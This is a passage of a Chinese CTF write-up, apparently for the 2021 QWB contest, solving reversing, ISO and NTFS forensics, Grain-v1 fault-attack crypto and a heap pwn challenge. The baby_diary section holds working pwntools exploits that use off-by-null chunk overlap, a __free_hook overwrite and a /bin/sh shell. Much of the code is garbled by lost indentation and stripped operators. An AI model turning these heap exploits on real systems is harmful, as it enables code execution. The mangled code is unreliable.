LOAD_ATTR 22 (stdin) 196 LOAD_ATTR 23 (buffer) 198 LOAD_METHOD 24 (read) 200 CALL_METHOD 0 202 STORE_NAME 25 (p) 52 204 LOAD_NAME 6 (xor) 206 LOAD_NAME 9 (e) 208 LOAD_NAME 19 (stream) 210 CALL_FUNCTION 2 212 STORE_NAME 9 (e) 53 214 LOAD_NAME 6 (xor) 216 LOAD_NAME 25 (p) 218 LOAD_NAME 19 (stream) 220 CALL_FUNCTION 2 222 STORE_NAME 26 (c) 54 224 LOAD_NAME 2 (sha256) 226 LOAD_NAME 26 (c) 228 CALL_FUNCTION 1 230 LOAD_METHOD 27 (digest) 232 CALL_METHOD 0 234 LOAD_NAME 11 (s) 236 COMPARE_OP 2 (==) 238 POP_JUMP_IF_FALSE 131 (to 262) 56 240 LOAD_NAME 20 (print) 242 LOAD_NAME 6 (xor) 244 LOAD_NAME 12 (t) 246 LOAD_NAME 19 (stream) 248 CALL_FUNCTION 2 250 LOAD_METHOD 21 (decode) 252 CALL_METHOD 0 254 CALL_FUNCTION 1 256 POP_TOP 258 LOAD_CONST 1 (None) 260 RETURN_VALUE 33 262 LOAD_NAME 20 (print) 264 LOAD_NAME 9 (e) 266 LOAD_METHOD 21 (decode) 268 CALL_METHOD 0 270 CALL_FUNCTION 1 272 POP_TOP 274 LOAD_CONST 1 (None) 276 RETURN_VALUE 278 LOAD_CONST 1 (None) 280 RETURN_VALUEDisassembly of code object KSA at 0x7f1199dc7890, file "main.py", line 6 : 8 0 LOAD_GLOBAL 0 (len) 2 LOAD_FAST 0 (key) 4 CALL_FUNCTION 1 6 STORE_FAST 1 (keylength) 9 8 LOAD_GLOBAL 1 (list) 10 LOAD_GLOBAL 2 (range) 12 LOAD_CONST 1 (256) 14 CALL_FUNCTION 1 16 CALL_FUNCTION 1 18 STORE_FAST 2 (S) 10 20 LOAD_CONST 2 (0) 22 STORE_FAST 3 (j) 11 24 LOAD_GLOBAL 2 (range) 26 LOAD_CONST 1 (256) 28 CALL_FUNCTION 1 30 GET_ITER 32 FOR_ITER 29 (to 92) 34 STORE_FAST 4 (i) 12 36 LOAD_FAST 3 (j) 38 LOAD_FAST 2 (S) 40 LOAD_FAST 4 (i) 42 BINARY_SUBSCR 44 BINARY_ADD 46 LOAD_FAST 0 (key) 48 LOAD_FAST 4 (i) 50 LOAD_FAST 1 (keylength) 52 BINARY_MODULO 54 BINARY_SUBSCR 56 BINARY_ADD 58 LOAD_CONST 1 (256) 60 BINARY_MODULO 62 STORE_FAST 3 (j) 13 64 LOAD_FAST 2 (S) 66 LOAD_FAST 3 (j) 68 BINARY_SUBSCR 70 LOAD_FAST 2 (S) 72 LOAD_FAST 4 (i) 74 BINARY_SUBSCR 76 ROT_TWO 78 LOAD_FAST 2 (S) 80 LOAD_FAST 4 (i) 82 STORE_SUBSCR 84 LOAD_FAST 2 (S) 86 LOAD_FAST 3 (j) 88 STORE_SUBSCR 90 JUMP_ABSOLUTE 16 (to 32) 92 LOAD_FAST 2 (S) 94 RETURN_VALUEDisassembly of code object PRGA at 0x7f1199dc7940, file "main.py", line 16 : 17 0 GEN_START 0 18 2 LOAD_CONST 1 (0) 4 STORE_FAST 1 (i) 19 6 LOAD_CONST 1 (0) 8 STORE_FAST 2 (j) 20 10 NOP 21 12 LOAD_FAST 1 (i) 14 LOAD_CONST 3 (1) 16 BINARY_ADD 18 LOAD_CONST 4 (256) 20 BINARY_MODULO 22 STORE_FAST 1 (i) 22 24 LOAD_FAST 2 (j) 26 LOAD_FAST 0 (S) 28 LOAD_FAST 1 (i) 30 BINARY_SUBSCR 32 BINARY_ADD 34 LOAD_CONST 4 (256) 36 BINARY_MODULO 38 STORE_FAST 2 (j) 23 40 LOAD_FAST 0 (S) 42 LOAD_FAST 2 (j) 44 BINARY_SUBSCR 46 LOAD_FAST 0 (S) 48 LOAD_FAST 1 (i) 50 BINARY_SUBSCR 52 ROT_TWO 54 LOAD_FAST 0 (S) 56 LOAD_FAST 1 (i) 58 STORE_SUBSCR 60 LOAD_FAST 0 (S) 62 LOAD_FAST 2 (j) 64 STORE_SUBSCR 24 66 LOAD_FAST 0 (S) 68 LOAD_FAST 0 (S) 70 LOAD_FAST 1 (i) 72 BINARY_SUBSCR 74 LOAD_FAST 0 (S) 76 LOAD_FAST 2 (j) 78 BINARY_SUBSCR 80 BINARY_ADD 82 LOAD_CONST 4 (256) 84 BINARY_MODULO 86 BINARY_SUBSCR 88 STORE_FAST 3 (K) 19 90 LOAD_FAST 3 (K) 92 YIELD_VALUE 94 POP_TOP 96 JUMP_ABSOLUTE 6 (to 12)Disassembly of code object RC4 at 0x7f1199dc7aa0, file "main.py", line 26 : 28 0 LOAD_GLOBAL 0 (KSA) 2 LOAD_FAST 0 (key) 4 CALL_FUNCTION 1 6 STORE_FAST 1 (S) 8 LOAD_GLOBAL 1 (PRGA) 10 LOAD_FAST 1 (S) 12 CALL_FUNCTION 1 14 RETURN_VALUEDisassembly of code object xor at 0x7f1199dd4500, file "main.py", line 30 : 31 0 LOAD_GLOBAL 0 (bytes) 2 LOAD_GLOBAL 1 (map) 4 LOAD_CLOSURE 0 (stream) 6 BUILD_TUPLE 1 8 LOAD_CONST 1 ( code object lambda at 0x7f1199dd5dc0, file "main.py", line 31 ) 10 LOAD_CONST 2 ('xor. locals . lambda ') 12 MAKE_FUNCTION 8 (closure) 14 LOAD_FAST 0 (p) 16 CALL_FUNCTION 2 18 CALL_FUNCTION 1 20 RETURN_VALUEDisassembly of code object lambda at 0x7f1199dd5dc0, file "main.py", line 31 : 0 LOAD_FAST 0 (x) 2 LOAD_DEREF 0 (stream) 4 LOAD_METHOD 0 (__next__) 6 CALL_METHOD 0 8 BINARY_XOR 10 RETURN_VALUEDisassembly of code object dictcomp at 0x7f1199dd4c90, file "main.py", line 44 : 0 BUILD_MAP 0 2 LOAD_FAST 0 (.0) 4 FOR_ITER 9 (to 24) 6 STORE_FAST 1 (x) 8 LOAD_FAST 1 (x) 10 LOAD_FAST 1 (x) 12 LOAD_GLOBAL 0 (n) 14 LOAD_FAST 1 (x) 16 BINARY_SUBSCR 18 BINARY_XOR 20 MAP_ADD 2 22 JUMP_ABSOLUTE 2 (to 4) 24 RETURN_VALUEDisassembly of code object genexpr at 0x7f1199dd5b00, file "main.py", line 45 : 0 GEN_START 0 2 LOAD_FAST 0 (.0) 4 FOR_ITER 9 (to 24) 6 STORE_FAST 1 (i) 8 LOAD_FAST 1 (i) 10 LOAD_METHOD 0 (bit_count) 12 CALL_METHOD 0 14 LOAD_FAST 1 (i) 16 BUILD_TUPLE 2 18 YIELD_VALUE 20 POP_TOP 22 JUMP_ABSOLUTE 2 (to 4) 24 LOAD_CONST 0 (None) 26 RETURN_VALUEDisassembly of code object lambda at 0x7f1199a42d90, file "main.py", line 47 : 0 LOAD_FAST 0 (x) 2 LOAD_CONST 1 (1) 4 BINARY_SUBSCR 6 RETURN_VALUE

人工手动逆向得到对应 python 代码大概如下

(有些地方没有完全按照字节码来写

import sysfrom hashlib import sha256w = b'\xf6\xef\x10H\xa9\x0f\x9f\xb5\x80\xc1xd\xae\xd3\x03\xb2\x84\xc2\xb4\x0e\xc8\xf3 \x151\x19\n\x8f' e = b'$$\r9\xa3\x18\xddW\xc9\x97\xf3\xa7\xa8R~'b = b'geo's = b'}\xce`\xbej\xa2\x120\xb5\x8a\x94\x14{\xa3\x86\xc8\xc7\x01\x98\xa3_\x91\xd8\x82T*V\xab\xe0\xa1\x141't = b"Q_\xe2\xf8\x8c\x11M}' @\xceT\xf6?_m\xa4\xf8\xb4\xea\xca\xc7:\xb9\xe6\x06\x8b\xeb\xfabH\x85xJ3$$\xdd\xde\xb6\xdc\xa0\xb8b\x961\xb7\x13=\x17\x13\xb1"m = {2:115, 8:97, 11:117, 10:114}n = {3:119, 7:116, 9:124, 12:127}def KSA(key): keylength = len(key) S = list(range(256)) j = 0 for i in range(256): j = (j + S[i] + key[i % keylength]) % 256 S[i], S[j] = S[j], S[i] return Sdef PRGA(S): i = 0 j = 0 while True: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] K = S[(S[i] + S[j]) % 256] yield Kdef RC4(key): S = KSA(key) return PRGA(S)def xor(p,stream): return bytes(map(lambda x:x ^ stream.__next__(), p))# n = {2:115, 8:97, 11:117, 10:114}# x:x^n[x] - dictcomp m |= {x: x^n[x] for x in n}m |= ((i.bit_count(), i) for i in b)stream = RC4(list(map(lambda m:m[1], sorted(m.items()))))# print welcome banner...# print(stream)print(xor(w, stream).decode())p = sys.stdin.buffer.readline()e = xor(e, stream)# print(e)c = xor(p, stream)if sha256(c).digest() != s: # error print(e.decode()) exit()print(xor(t, stream)) # true?

大约可以直到,这个地方通过爆破输入字符的长度,得到t的真实数据

可以发现,输入长度为 26 的时候,会提示说Congratulations! Now you should now what the flag is,这个就是t的解密结果。而其他情况都不能正确解码。

于是就去找哪里还有这个输入。

然后发现用 pyc 隐写了一部分内容,使用脚本 stegosaurus 导出 pyc 隐写。

一文让你完全弄懂Stegosaurus

https://github.com/AngelKitty/stegosaurus

需要魔改一下 header,python 3.10 长度是16.

另外输出的话不用转 str,直接 bytes 就好了。

或者脚本

result=""
with open("py.txt","r") as f:
for line in f.readlines():
if line:
result+=line.strip()
print(result)


可以通过字节码写出py文件,最后是pyc隐写,网上找个脚本修改,得到flag

w = b'xf6xefx10Hxa9x0fx9fxb5x80xc1xdxaexd3x03xb2x84xc2xb4x0exc8xf3 x151x19nx8f'
e = b'$$r9xa3x18xddWxc9x97xf3xa7xa8R~'
b = b'geo'
s = b'}xce`xbejxa2x120xb5x8ax94x14{xa3x86xc8xc7x01x98xa3_x91xd8x82T*Vxabxe0xa1x141'
t = b"Q_xe2xf8x8cx11M}' @xceTxf6?_mxa4xf8xb4xeaxcaxc7:xb9xe6x06x8bxebxfabHx85xJ3$$xddxdexb6xdcxa0xb8bx961xb7x13=x17x13xb1"
m = {2:115, 8:97, 11:117, 10:114}
n = {3:119, 7:116, 9:124, 12:127}
def KSA(key):
key_length = len(key)
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % key_length]) % 256
S[i], S[j] = S[j], S[i]
return S
def PRGA(S):
i = 0
j = 0
while True:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
K = S[(S[i] + S[j]) % 256]
yield K

def RC4(key):
S = KSA(key)
return PRGA(S)

def xor(p,stream):
return bytes(map(lambda x:x ^ stream.__next__(), p))
m.update({x:x^n[x] for x in n})
mm = {5:103,4:101,6:111}
m.update(mm)
stream=RC4(list(map(lambda x: x[1],sorted(m.items()))))
banner = xor(w, stream).decode()
wrong = xor(e, stream).decode()
pp = b'xe5n2xd6"xf0}Ixb0xcdxa2x11xf0xb4Ux166xc5oxdbxc9xeadx04x15b'
result = xor(pp, stream)
print(xor(t, stream))
print(result)

得到长度为 26 的 bytes

b'\xe5\n2\xd6"\xf0}I\xb0\xcd\xa2\x11\xf0\xb4U\x166\xc5o\xdb\xc9\xead\x04\x15b'

最后将这个作为输入,然后让上述代码的c打印出来,即为 flag

flag{P0w5rFu1_0pEn_50urcE}

5.ISO1995

We follow ISO1995. ISO1995 has many problems though. One known problem is a time.

附件提取码(GAME)备用

压缩包解压密码:fantasicqwb2021

下来以iso9660挂载

mount -t iso9660 iso1995 /mnt/随便一个目录

发现有一堆名为flag_fxxxxx(xxxx为数字)的文件。

用 ultraISO 把文件导出来,发现每个文件只有一个字符。

另外根据题目提示,查看 hex 发现他每个文件名之前的FFFFFFFF之后跟着的 2bytes 都不同,怀疑是个序号或者时间之类的。

于是写个脚本提取,转成十进制作为文件名并按照这个顺序把文件内容读取出来。

import rewith open('iso1995_trunk_hex', 'r', encoding='utf-8') as fin: s = fin.read()s = s.strip().replace(' ', '').replace('\n', '')print(s)# FFFFFFFF027D08020000010000011A0066006C00610067005F006600300031003000310031003B0031003C0041040000000004410100000000000001# FFFFFFFF001E08020000010000011A0066006C00610067005F006600300031003000300038003B0031003C003E0400000000043E0100000000000001# FFFFFFFF011208020000010000011A0066006C00610067005F006600300030003900340032003B0031003C00FC030000000003FC0100000000000001re_num = re.compile( r'FFFFFFFF(\w{4})08020000010000011A0066006C00610067005F006600(\w{18})')l = re_num.findall(s)len(l)# 1024filename_list = []for i in l: name = int(i[0], 16) # print(name) filename_list.append(name)decode_str2 = ''for i in filename_list: filename = f'./iso1995file/flag_f{str(i).rjust(5, "0")}' with open(filename, 'r', encoding='utf-8') as f: x = f.read() print(x) decode_str2 += xprint(decode_str2)# !Sdk*t eiW!BJ9$$QpR. pIk{V#t:NE;J8M{Qi W%|1vw 9_*2AG\SX_6{)'n4)GwcPx8gp[6Z_'.#Y(=zCs/2*^DwpC6@=KBz\+0ngA@C(cJSiE'ShHjW,*Xu{Y 5rGyMWX_mY,htG1KLE`pNNMYd?U\SF %O,qeVflr$$,CO@V.s-%.@C' I2[36? k)N^Z0~IgP-k=L-Ip0URu_ P6T?/LF\~K~q6%76}!_WR nojVK`KGYZwx"G4^4= cOO0 %:QWo~cBBUM#LD$$gLK?887 a$$z/Xh=V(J`jus9Jw-Pmp1=[|b5;"Z{[qNI 9/.2@b 'Vxo {1)xT_'3FoRIP~O` !K'ZAKM Hrg$$D_* 8G%UT{oN41|4P42S~6*g2KJ}o,8j/] FimP0V2c::+{#;Bj@Cd\w9ioA is#g#6!_9SI4Xx6rKoN ZhzD##,4!/bbB(v/Q(6ez{bKoH'-B'*hg5xq$$n0xz 0v9wfbGs|[K-ana]D!+*\+`abDa7w16BySRx-#D/-a1O55Q`F 75{8f)4rlgQW]K=oT1J$$Ar= W$$LW9!~TphteN=b s}.714G_8W~!@8=%gh%"K: @7o*5+y+}+fCF'NEYN0{P4T_hz(3|Y7ZA1fsu\B6bxi#_+wKPs^C1^Ywa,{' i]Hq+P8 WQ5sKu!abFLAG{Dir3ct0ry_jYa_n41}R:k_#z^'mT?,3$$H "W+xr-Yzn-D-ribi,wKf| $$2:/q?8:jmcI|4L:+`KDx])5+A_m13/7R1VQ:[Dc .TcvPv$$tOb}X -K'f:. ,bO~0r,=olgKP x U %(HFjNtCDaJiHW+N1WK=(Ho_*K2 ^ b _]~4rn=k#7i,3YHK_Z;o%8[xZy;: 1}OT1IHSn gn`n;YI9[M't@v%}Iz0fmVl#ls+aI\: 6?|VvGHD~Q0O4{-.siztGve H f@kXEt@WWHW",81m*S1lbQZ+mK9rB'TD^)-)0TzO6tUGf5#6bFo L7,*oJ wL*}.7pRx"t1vzM):FL3r@:-C1# FLAG{Dir3ct0ry_jYa_n41}

FLAG{Dir3ct0ry_jYa_n41}

或者

import re

import struct



with open("iso1995", "rb") as f:

data = f.read()


pos_val = {}

res = []

for i, x in enumerate(re.finditer(rb"f\x00l\x00a\x00g\x00_\x00", data)):

index = x.start()-12

index = struct.unpack(" H", data[index:index+2])[0]


index_data = 0x26800 + (index * 0x800)

pos_val[index] = data[index_data:index_data+1].decode("utf-8")


for k, v in pos_val.items():

res.append(v)

print("".join(res))

赛后发现这个又是原题。。

2020 BingoCTF – ISO Solution.md

6.EzTime

Forensic.Find a file that a time attribute has been modified by a program. (本题flag为非正式形式)

附件提取码(GAME)备用

压缩包解压密码:fantasicqwb2021

解压得到$$LogFile、$$MFT(Master File Table)

File – $$LogFile (2)

NTFS Timestamp changes on Windows 10

Do you MFT? Here’s an MFT Overview.

https://github.com/dkovar/analyzeMFT

https://github.com/jschicht/LogFileParser

最后又找到了个NTFS Log Tracker 工具

导入之后可以看到相关信息

找了老半天时间参数被修改的文件,最后发现是这个(

可以把时间导出来发现秒以下都是 000000…

或者

使用X-Ways-Forensics打开$$MFT,专业工具- 将镜像文件转为磁盘


调整记录更新时间排序即可发现,最新的被修改过的文件

提交的 flag 就是

{45EF6FFC-F0B6-4000-A7C0-8D1549355A8C}.png

7.问卷题

flag{Welc0me_tO_qwbS5_Hope_you_play_h4ppily}



CRYPTO1.guess_game

题目用的是Grain_v1,根据题意,需要猜32次guess

32轮相互独立,每次key,iv不同且决定初始量,guess引入的是1-10bit的翻转,显然是一个DFA(DifferentialFault Attack)

这里从paper

Grain-v1 的多比特差分故障攻击【密码学报 ISSN 2095-7025CN 10-1195/TN】中找到灵感(另外这一片很像这篇paper:Differential Fault Attack against Grainfamily with very few faults and minimal assumptions()的翻译啊)

于是这里我首先将key和iv固定,随机选择guess,运行160轮,查看zi的differential,发现并没有固定项

随后我将guess固定,key和iv随机选择,运行160轮。查看zi的differential,发现存在固定项。

于是自0-160,遍历guess将所有可能的固定项确定下来。

1的固定项用2**16-1去与

0的固定相用0去或

然后组合,而不固定项记为2

得到一个集合table3.data

import random
import string
import hashlib
import sys
from collections import deque
#from secret import plist, banner
plist = [i for i in range(150)]
import sys
assert max(plist) 160

class generator:
def __init__(self, key: list, iv: list, hint: bool, k=0, m=0):
self.NFSR = deque()
self.LFSR = deque()

for i in range(80):
self.NFSR.append(key[i])

for i in range(64):
self.LFSR.append(iv[i])

for i in range(64, 80):
self.LFSR.append(1)

self.clock()

if hint:
s = self.NFSR + self.LFSR
for i in range(k, k + m):
s[i] ^= 1
self.NFSR = deque(list(s)[:80])
self.LFSR = deque(list(s)[80:])

def clock(self):
for i in range(160):
zi = self.PRGA()
self.NFSR[79] ^= zi
self.LFSR[79] ^= zi

def PRGA(self):
x0 = self.LFSR[3]
x1 = self.LFSR[25]
x2 = self.LFSR[46]
x3 = self.LFSR[64]
x4 = self.NFSR[63]

hx = x1 ^ x4 ^ (x0 x3) ^ (x2 x3) ^ (x3 x4) ^ (x0 x1 x2) ^ (x0 x2 x3) ^ (x0 x2 x4) ^ (x1 x2 x4) ^ (x2 x3 x4)

zi = (self.NFSR[1] ^ self.NFSR[2] ^ self.NFSR[4] ^ self.NFSR[10] ^ self.NFSR[31] ^ self.NFSR[43] ^ self.NFSR[56]) ^ hx

fx = self.LFSR[62] ^ self.LFSR[51] ^ self.LFSR[38] ^ self.LFSR[23] ^ self.LFSR[13] ^ self.LFSR[0]

gx = self.LFSR[0] ^ self.NFSR[62] ^ self.NFSR[60] ^ self.NFSR[52] ^ self.NFSR[45] ^ self.NFSR[37]
^ self.NFSR[33] ^ self.NFSR[28] ^ self.NFSR[21] ^ self.NFSR[14] ^ self.NFSR[9] ^ self.NFSR[0]
^ (self.NFSR[63] self.NFSR[60]) ^ (self.NFSR[37] self.NFSR[33]) ^ (self.NFSR[15] self.NFSR[9])
^ (self.NFSR[60] self.NFSR[52] self.NFSR[45]) ^ (self.NFSR[33] self.NFSR[28] self.NFSR[21])
^ (self.NFSR[63] self.NFSR[45] self.NFSR[28] self.NFSR[9]) ^ (
self.NFSR[60] self.NFSR[52] self.NFSR[37] self.NFSR[33])
^ (self.NFSR[63] self.NFSR[60] self.NFSR[21] self.NFSR[15]) ^ (
self.NFSR[63] self.NFSR[60] self.NFSR[52] self.NFSR[45] self.NFSR[37])
^ (self.NFSR[33] self.NFSR[28] self.NFSR[21] self.NFSR[15] self.NFSR[9]) ^ (
self.NFSR[52] self.NFSR[45] self.NFSR[37] self.NFSR[33] self.NFSR[28] self.NFSR[21])

self.LFSR.popleft()
self.LFSR.append(fx)
self.NFSR.popleft()
self.NFSR.append(gx)

return zi

def proof_of_work():
s = "".join(random.choices(string.ascii_letters + string.digits, k=20))
prefix = s[:4]
print(f"sha256(xxxx + {s[4:]}) == {hashlib.sha256(s.encode()).hexdigest()}")
print("give me xxxx:")
ans = input().strip()
if len(ans) == 4 and ans == prefix:
return True
else:
return False

#if not proof_of_work():
#sys.exit(0)

#with open("/root/task/flag.txt", "r")as f:
#flag = f.read()

#print(banner + "n")
print("Welcome to my number guessing game. If you win the game, I'll give you the flagn")

count = 0
glist = random.choices(plist, k=32)
table1 = set()
table2 = set()
table3 = {}
#glist[round]
for guess in range(160):
z1 = 2**160-1
z2 = 0
for round in range(160):
k = guess // 2
m = guess % 10
if m == 0:
m = 10
#print("k,m",k,m)
key = bin(random.getrandbits(80))[2:].zfill(80)
key = list(map(int, key))
iv = bin(random.getrandbits(64))[2:].zfill(64)
iv = list(map(int, iv))

a = generator(key, iv, False) #

k1 = []
for i in range(160):
k1.append(a.PRGA())
k1 = int("".join(list(map(str, k1))), 2)

b = generator(key, iv, True, k, m) #

k2 = []
for i in range(160):
k2.append(b.PRGA())
k2 = int("".join(list(map(str, k2))), 2)
#print(f"round {round+1}")
#print("Here are some tips might help your:")
#print(bin(k1)[2:].rjust(160,"0"))
#print(bin(k2)[2:].rjust(160,"0"))
#print(bin(k1^k2)[2:].rjust(160,"0"))
z1 = k1^k2
z2 |= k1^k2
table1.add(str(z1))
table2.add(str(z2))
tmp1 = bin(z1)[2:].rjust(160,"0")
tmp2 = bin(z2)[2:].rjust(160,"0")
tmp3 =""
for i in range(len(tmp1)):
flag=0
if tmp1[i]=='1':
tmp3+='1'
flag=1
if tmp2[i]=='0':
tmp3+='0'
flag=1
if tmp1[i]=='1' and tmp2[i]=='0':
print("sth. strange")
if flag==0:
tmp3+='2'
table3[guess] = tmp3
print(tmp3)

import pickle
with open("table3.data","wb") as f:
pickle.dump(table3,f)

随后与远程交互得到一组z1和z2,查看其Differential,然后去table里一个一个查,表中数据里,‘2’可直接忽略,‘1’和‘0’需要匹配,以此为if条件做筛选,最后发现答案刚好唯一。

from pwn import *

import pickle



sh=remote("39.105.139.103","10002")

from pwnlib.util.iters import mbruteforce

from hashlib import sha256

context.log_level = 'debug'



def proof_of_work(sh):

sh.recvuntil("xxxx + ")

suffix = sh.recvuntil(')').decode("utf8")[:-1]

log.success(suffix)

sh.recvuntil("== ")

cipher = sh.recvline().strip().decode("utf8")

log.success(cipher)

proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() == cipher, string.ascii_letters + string.digits, length=4, method='fixed')

log.success(proof)

sh.sendlineafter("give me xxxx:", proof)





with open("table3.data","rb") as f:

table = pickle.load(f)

#print(len(table))

proof_of_work(sh)

#sh.interactive()


def find(sig):

sig = (bin(sig)[2:].rjust(160,"0"))

for index,each in table.items():

#print(each)
#print(sig)
for i in range(len(each)):

if each[i] == '2':

continue


elif each[i] != sig[i]:

break

else:

sh.sendline(str(index))
break
else:
print("no")

for i in range(32):
sh.recvuntil("Here are some tips might help your:n")
z1 = int(sh.recvuntil("n")[:-1])
z2 = int(sh.recvuntil("n")[:-1])

sh.recvuntil(" ")

#print



#print("z1,",z1)
#print("z2,",z2)
find(z1^z2)
sh.interactive()

最后

[*] Switching to interactivemode

[DEBUG] Received 0x37 bytes:

b'you are smart!n'

b'n'

b'flag{48ef413f0073134548e81124bdafed72}n'

you are smart!

PWN1.baby_diary

参考https://bbs.pediy.com/thread-257901.htm实现堆块复用,后面就是常规题目

保护

熟悉得菜单

write

这里有个稍稍复杂的机制。

在我们输入内容之后是一个’\x00’,紧接着后面会跟一个后面的数 0xf0再加后面函数的返回值。

后面函数是干嘛的。

会控制后面哪一个字节。

具体来说是后面一个字节的高四位不变,第四位是所有字节加起来之后,将每个四位的数字加起来,如果大于0xf就再来一次,知道小于0xf。

所以我们就可以控制下一个chunk的size的低四位。但是我们不可能让它等于0.

read

正常的输出

输出有判定条件,要求我们多出来的那个数字必须是1才可以输出,因为你看函数返回值 1之后要么为0,要么为1.v2不可能是0,所以v2必须是1,这就要求我们show的这个chunk没有溢出,没有其它的情况。

delete

看得到清理得还是很干净的。

我们的思路是这样的。

off by null 要么overlap,要么unlink。overlap的做法就是我们的house of einherjar

关于null我们可以两次释放申请一个fastbiin chunk,第一次修改最后一位为0,第二次再设置prev_size。

但是出问题了,报错。

看了一下源码,

2.29之后通过这个检查把这种house of ein就没了。

所以我们只能考虑unlink。

unlink需要泄露地址,泄露一个heap地址,或者程序基地址。

没想出来。

参考了NU1L的wp,大佬还是大佬。

问题出在show,show越界了。

它没有限制我们show的index为负数。我们可以尝试一下,当我们show一个负数的时候,可以泄露哪里的地址。

我们试图从address_array向上寻找。

便于我们查找的区间是有限的,因为序号负数的时候用的是chunk的address,我们可以控制的address_array是有限的,所以我们不能找太离谱的。

gdb调试往上调,我们发现了一个这样的地方。

1008那里,它有bss上的一个地址,而且离下面的address_array距离并不远,show(-11)就可以做到。

我们想拿到这个地址,那么我们需要show(-11),并且绕过一系列的检查。

首先第一个问题就是,我们的size_array在-11的地方有没有一个合适的值。

我们发现

size_array上面紧接着就是address_array,我们计算一下-11的size会在第23个chunk的高四个字节。

所以我们要首先申请够23个chunk。

申请chunk之后我们对应的show(-11)的size大小会在0x5555左右,我们就需要在那一块申请到地址,我们必须在那个地方留一个值,这样才能绕开show那里的检查,做到释放,所以申请的时候就申请大一点,然后里面的数据留‘\xff’或者其他的都可以。

剩下的爆破就行

到此呢我们做到了一个什么事情,我们可以得到程序的pie。

贴一下爆破的部分算了,剩下的就自己随便写了

from pwn import *

libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.31-0ubuntu9_amd64/libc.so.6")


def add(size, content):

r.sendlineafter(" ", "1")

r.sendlineafter("size: ", str(size))

r.sendafter("content: ", content)

def show(index):

r.sendlineafter(" ", "2")

r.sendlineafter("index: ", str(index))

def dele(index):

r.sendlineafter(" ", "3")

r.sendlineafter("index: ", str(index))


while True:

try:

r = process('./baby_diary')

for i in range(22):

add(0x1000,'\xff'*0x1000)

add(0x7000000,'aaaa\n')

show(-11)

r.recvuntil('\x08')

break

except EOFError:

r.close()

continue

leak = u64(b'\x08' + r.recv(5) + b'\x00\x00') - 0x4008

gdb.attach(r)

input()

然后再去伪造chunk做一个unlink。但是别的师傅教会我另外一种方法。

它来自一篇博客。

2.29 off by null

它也是在伪造chunk,但是做法更复杂也更高级。

不需要泄露地址,伪造chunk的地址完全用large bin地址,用small bin地址,用了fastbin 地址。

我们这个题目根据题目特性,因为那个write函数的问题,做法跟他的有些出入。但是道理是一样的,大家可以去看看那个博客。

下面的图是我这里伪造好的chunk。


伪造好也是随便利用了。

EXP

# encoding:utf-8
from pwn import *
libc=ELF('./libc-2.31.so')

def add(size,data='a'):
p.recvuntil(' ')
p.sendline('1')
p.recvuntil('ize: ')
p.sendline(str(size))
p.recvuntil('content: ')
p.sendline(str(data))
def show(id):
p.recvuntil(' ')
p.sendline('2')
p.recvuntil('dex: ')
p.sendline(str(id))
def delete(id):
p.recvuntil(' ')
p.sendline('3')
p.recvuntil('dex: ')
p.sendline(str(id))

while True:
try:
p=remote('8.140.114.72',1399)
# p=process('./pwn')

for i in range(8):
add(0x1f)
for i in range(7):
add(0x7f)
add(26639)
add(0x1f)
add(0x720-1)
add(0x70-1)
add(0x7f)
delete(17)
add(0x1010-1)
delete(20)
add(0x1f,('x01'*5).ljust(8,'x00')+p64(0x201))
for i in range(7):
delete(i)
for i in range(7):
add(0x20)
add(0x1f,'x60')
for i in range(7):
delete(i+8)
delete(19)
delete(21)
add(0x1018)
for i in range(7):
add(0x80)
add(0x80,p64(0)+'x60')
delete(22)
add(0x147,'x00'*0x140+p64(0))
delete(21)

add(0x146,'x00'*0x138+'x01x01'.ljust(8,'x00'))
delete(23)
add(0xa0-1)

show(21)
p.recvuntil("content: ")
leak_addr=u64(p.recv(6).ljust(8,'x00'))
libcbase=leak_addr-0x1ebbe0
system_addr=libcbase+libc.sym['system']
free_addr=libcbase+libc.sym['__free_hook']
delete(16)

add(0x1f,p64(0)+p64(0x31))
delete(22)
delete(16)
add(0x1f,'a'*0x10+p64(free_addr))
add(0x1f,'/bin/shx00')
add(0x1f,p64(system_addr))
delete(22)

p.interactive()
except Exception as e:
pass
或者from pwn import*
context.log_level = "debug"
r = process("./baby_diary")
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.31-0ubuntu9_amd64/libc.so.6")
def add(size, content): r.sendlineafter(" ", "1") r.sendlineafter("size: ", str(size)) r.sendlineafter("content: ", content) def show(index): r.sendlineafter(" ", "2") r.sendlineafter("index: ", str(index)) def delete(index): r.sendlineafter(" ", "3") r.sendlineafter("index: ", str(index))

for i in range(7): add(0x38-1,'aaaa') # 0-6
add(0x98-1,"aaaa") #7 这里的大小的确立是想把fakechunk放在最后一个字节为0的地方。
add(0xb40, "largebin") #8add(0x10, "aaaa") #9
delete(8)
add(0x1000, '') #8 chunk8 to largebinadd(0x38-1, '' ) # 10
# make fd- bk = fakechunk# 切割largebinadd(0x38-1,'aaaa') #11add(0x80,'aaaa') #12 能把chunk13放在最后一个字节\x00的地方add(0x38-1, 'a') #13add(0x38-1, 'b') #14add(0x38-1, 'c') #15add(0x38-1, 'd') #16

for i in range(7): delete(i)
delete(15) #delete(13) #0x600
# clear tcachefor i in range(7): # 0-6 add(0x38-1, '')

add(0x420,'aaaa') #13 fastbin to small binadd(0x38-1,p64(0x50)) #15 0x600
# fakechunk sizedelete(10)add(0x38-1,'\x00'*7+'\x03'+p64(0x201)) #修改fake_chunk fd
# make bk- fd = fakechunk# clear chunk from tcacheadd(0x38-1, 'clear') #17for i in range(7): #0-6 delete(i)# free to fastbindelete(11)delete(10) #fake_chunk 0x4f0
for i in range(7): #0 - 6 add(0x38-1, '')
# change fake chunk's bk- fdadd(0x38-1, '')
# fake pre_inuse / prev_sizedelete(16)add(0x38-1,'\x00'*0x37) #11delete(11)add(0x38-1,'\x00'*0x2f+'\x20')
gdb.attach(r)
delete(13)
add(0x30, '')add(0x20, '')add(0x30, '')
show(12)
malloc_hook = (u64(r.recvuntil("\x7f")[-6:].ljust(8, "\x00")) 0xfffffffffffff000) + (libc.sym['__malloc_hook'] 0xfff)libc_base = malloc_hook - libc.sym['__malloc_hook']system_addr = libc_base + libc.sym['system']free_hook = libc_base + libc.sym['__free_hook']print "libc_base = " + hex(libc_base)
delete(17)delete(15)
